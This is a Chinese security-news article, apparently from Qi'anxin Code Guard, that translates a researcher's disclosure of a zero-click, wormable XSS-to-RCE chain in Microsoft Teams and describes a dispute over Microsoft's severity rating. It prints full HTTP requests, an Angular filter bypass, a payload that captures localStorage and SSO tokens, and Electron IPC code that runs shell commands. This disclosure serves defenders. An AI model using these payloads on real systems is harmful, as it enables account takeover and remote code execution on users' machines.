聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

Evolution Gaming 公司的安全工程师 Vegeris 发布了位于微软 Teams 中的五个可蠕虫、跨平台的0day或一次点击可造成 RCE的漏洞。他指出,微软将这些漏洞评级为范围内最低级别,目前他公开了其中的一个 XSS 漏洞详情。

微软 Teams 是像 Slack 和 Zoom 的企业产品,日活用户约1.15亿名,广泛部署在微软 Office 365 的产品家族中。Teams 是一款专有的业务通信平台,为用户提供工作空间聊天、文件存储和共享、app 集成和视频会议能力。

Important, Spoofing

Vegeris 指出,微软安全响应中心认为该漏洞链属于 O365 云漏洞奖励计划中的“重要的”(严重性评级)、“欺骗”(影响力)(Important, Spoofing)漏洞,即给出了范围内的最低评级。

Vegeris 表示,微软确实将这些漏洞对该桌面 app 的评级定为“严重的,远程代码执行(RCE)”,但仅能获得“微软积分”即登上 “MSRC 积分榜“。如下是作者的详述。

真正的影响:零点击的RCE

攻击者只需向受害者发送或编辑看似完全正常的现有信息,而受害者只需查看该信息即可执行代码,而无需其它任何交互,可导致公司的内部网络、个人文档、O365文档/邮件/笔记、机密聊天信息完全受陷。只需一条信息、一个信道、无交互,所有人遭攻击。

如果收件人自动将信息发布在 Teams 或信道中,则可导致所有人受陷,成为其它组织机构的 guest,因此该漏洞是可蠕虫的,至少可在某个组织机构的微软 Teams 网络中传播。而所有这一切仅需一个非交互性的单个 HTTP 请求即可实现。

Vegeris 指出,自己在三个月内曾试图将影响告知微软,但得到的最终结论并未改变,且被指“不在范围内“。

概括而言:

  • 该漏洞无需交互,影响所有的通信线程类型:非公开、线程、组等。

  • 自我复制蠕虫:受害者将 payload 再次发给所有联系人、组。所有人再发送给联系人、组(guest 也可访问其它组织机构)。

  • 所有组织机构用户窃取 SSO 令牌:你可通过账户劫持中的 XSS 漏洞访问所有 SSO O365 令牌,如公司邮件、文档、笔记等。

  • 访问 MS Teams 中的私密会话、信息、文件、通话日志等。

  • 提权至组织机构级别的 MS Teams 管理员权限

  • 通过 XSS 访问麦克风/摄像头(至少在 Chrome Web 版本中可实现)

  • 无需受害者交互即可在受害者设备上执行任意命令,且是跨平台漏洞(macOS、Windows、Linux)

  • 终端用户完全丧失机密性和完整性:访问 MS Teams 之外的私密聊天信息、文件、内网、私钥和个人数据。

  • 击键记录,访问麦克风、摄像头等。

受影响产品

  • 微软 Teams (teams.microsoft.com):XSS

  • 微软 Teams macOS v1.3.00.23764(2020年8月31日为止最新版)

  • 微软 Teams Windows v1.3.00.21759(2020年8月31日为止最新版)

  • 微软 Teams Linux v1.3.00.16851 (2020年8月31日为止最新版)

漏洞详情

漏洞报告中包含被组合利用的一个新的 XSS 向量和一个新的 RCE payload,影响微软 Teams 中的聊天系统,可用于直接信息、信道中。

要在微软 Teams 中实现 RCE,需要组合利用两个漏洞:

  • Teams.microsoft.com 聊天功能(位于用户 “mentions” 功能中)中的存储型 XSS

  • 针对 MS Teams 桌面客户端的新型跨平台的特殊构造的 JS exploit

teams.microsoft.com 中的存储型 XSS

复现步骤:

1、在直接通信或信道中输入一条聊天信息,在该聊天中提到一名用户或自定义标记

2、编辑含有该mention 的聊天信息并用 Burp Suite 等 HTTP 代理拦截。

在 mention 功能中,易受攻击的参数是 JSON 信息结构 { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]" 中的 displayName。

请求如下,注意 displayName:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}

以unicode \u0000 格式注入一个空字节字符即可绕过 Angular 表达式过滤:

{{3*333}\u0000}

要访问用户的本地存储和所有的 SSO 令牌,使用如上 HTTP PUT 请求中的 displayName 中的 payload:

{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

SSO 令牌日志的完整 HTTP 请求:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

它将把用户的本地存储记录为 XSS PoC。

如此,无需任何进一步的措施。该聊天中的所有用户将会开始记录可被渗透的 SSO 令牌。

读者可检查微软 Teams 桌面或任意浏览器中的开发工具进行验证。

远程代码执行和 payload

作者开发了一个新型 RCE payload,绕过了微软 Teams 桌面当前执行的所有限制条件(远程、节点集成、Webview 预加载过滤等),即使启用了 contextIsolation 也起作用。

cmd = `open /Applications/Calculator.app` // change to windows/linux command as requiredstage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand// create a new webview mockup - window with a webview tag and our virtual, downloaded file as preloadstage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URLthis.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preloadsetTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window}
)

HTTP PUT 请求的简短版,改进后,每次重加载时仅执行一次:

{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

完整的含 RCE payload 的 HTTP PUT 请求:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: ...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

注意:更改命令,当前为 macOS Catalina 设置的是:open /System/Applications/Calculator.app。仅需访问聊天,无需任何用户交互即可执行任意代码。

演示视频

编校后的 Payload:用户不可见(无新窗口)

Payload(有新窗口)

时间线

  • 2020年8月31日:报告微软 Teams 中的严重 RCE 漏洞

  • 2020年9月30日:微软评级为范围内的最低等级“重要的欺骗性漏洞“

  • 2020年10月:漏洞已修复

  • 2020年11月19日:微软拒绝讨论影响详情,并给出最终结论

  • 2020年11月30日:微软指出,“至于 CVE,当前根据微软的策略,不会为无需用户交互自动更新的产品分配 CVE 编号“

漏洞猎人内心的落差,或许在本公众号推送的第二条内容的映衬下,更令人沮丧~

本文作者表示,现在同事已经把 “Important, Spoofing" 当作调侃 RCE 漏洞的实力担当。ORZ~

更扎心的是,本文作者曾为 Slack 发现可导致用户计算机遭劫持的多个漏洞,最终得到的奖金是,区区 1750 美元。ORRRRRRRRRZ~~~~~

这些严重的 Slack桌面劫持漏洞仅值区区1750美元?

期待你在留言区的吐槽~

推荐阅读

这些严重的 Slack桌面劫持漏洞仅值区区1750美元?

Teams 可被滥用于安装恶意软件,微软或不打算修复

利用Microsoft Teams 执行任意 payload,微软拒绝修复

我偶然发现一个严重 0day,影响 Win7 和 Server 2008 R2,微软未发补丁(详情)

奇安信代码安全实验室帮助微软修复高危漏洞,获官方致谢

原文链接

https://github.com/oskarsve/ms-teams-rce/blob/main/README.md

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

Teams零点击可蠕虫跨平台 RCE 漏洞详情公开,微软评为低危且拒绝分配CVE被吐槽...相关推荐

  1. 比 Windows DNS 蠕虫漏洞更严重!SharePoint 反序列化RCE漏洞详情已发布,速修复

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 安全研究员 Steven Seeley 发布文章,详细分析了 CVE-2020-1147 漏洞的根因以及低权限用户如何可在易受攻击的  ...

  2. 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

    简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...

  3. [ 新出漏洞篇 ] 核弹级漏洞 Log4j2 RCE 漏洞爆出,开发圈苦逼,安全圈过年,你赶上了吗 ?(外行都能看懂的漏洞分析)

    Log4j2相信大家不陌生了~~~哈哈哈哈. 相信大家已经被 Log4j2 的重大漏洞刷屏了.几乎没有互联网公司幸免. 估计有不少开发的小伙伴在此前为了修 bug 已经累趴下了. 估计也有不少安全圈的 ...

  4. 详解苹果 macOS Mail 中的零点击漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本文作者 Mikko Kenttälä 在 Apple Mail 中发现了一个零点击漏洞,可添加或修改 Mail 沙箱环境中的任意文件 ...

  5. 半岛电视台员工遭iOS iMessage app零点击0day 漏洞利用攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 今天,多伦多大学网络安全和人权滥用研究机构公民实验室 (Citizen Lab) 的研究人员指出,至少有36名半岛电视台 (AI Ja ...

  6. 谷歌披露影响多个苹果操作系统的零点击Image I/O 漏洞和开源库 OpenEXR漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 多媒体处理组件是当前任何操作系统中最危险的攻击面之一. 当提到管理多媒体文件时,所有操作系统的运作原理都一致.设备上的任何新型多媒体文 ...

  7. 某 iOS 零点击 0day 漏洞已存在8年之久且正遭利用?苹果称正在调查并将推出补丁...

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 刚刚,网络安全公司 ZecOps 发布报告称,发现黑客正在尝试利用新的 iOS 漏洞.苹果公司目前正在着手调查此事,并打算尽快推出安全 ...

  8. html应用json 文件_安全研究 | Slack桌面应用程序的RCE漏洞+XSS漏洞

    对于Slack的桌面应用程序来说,一些应用内跳转.XSS.逻辑重定向和HTML或javascript注入bug,都有可能导致任意代码执行.这篇Writeup就讲述了作者通过构造HTML注入,绕过Sla ...

  9. wordpress漏洞_聊聊 WordPress 5.1.1 CSRF to RCE 漏洞

    作者:LoRexxar'@知道创宇404实验室 时间:2019年3月14日 2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wor ...

最新文章

  1. c语言蜂鸣警报加循环,如何在此单片机程序基础上加入蜂鸣器报警啊
  2. 从javascript发展说到vue
  3. 中国房地产行业调查分析与发展前景研究报告2022年版
  4. O-R mapping工具
  5. SpringMVC form中commandName报错问题
  6. python词频统计排序小demo
  7. 【第一天】【ROS操作系统】【2】ROS安装教程
  8. ubuntu 安装go语言编译器 liteide
  9. Moloch网络流量分析工具
  10. 【python+selenium】自动登陆学校青果教务网
  11. 测试用例(功能用例)——资产盘点
  12. 江苏学计算机软件哪个专科大学好,江苏 我学软件技术可以报考哪些学校
  13. 旖旎风景——浪漫烟花(Python实现)
  14. 3dsmax 2020下载安装
  15. python爬虫百度安全验证_爬虫黑科技-绕开百度人机验证
  16. iOS 高仿美图定制
  17. 【图像分类】实现猫狗图片的训练集和测试集的分类:python + Asirra
  18. 跟着尚硅谷学大数据(二)MapReduce
  19. Modbus通信协议和Java实现
  20. MATLAB 系统仿真与建模(一)—— 连续线性系统的数学模型

热门文章

  1. 从 CentOS 5.5 中精简出属于自己的专属Linux(二)
  2. LayaAir引擎开发HTML5最简单教程(面向JS开发者)
  3. 浅谈嵌入式软件的未来发展
  4. 微软面试题:写程序找出二叉树的深度
  5. QT5(一):HelloWord
  6. Erlang中一些错误或者异常的标识
  7. Sublime text2空格替换tab键
  8. 如何在XenDesktop中映射USB设备
  9. android Launcher——拖放功能深入研究
  10. Shell命令-系统信息及显示之free、cal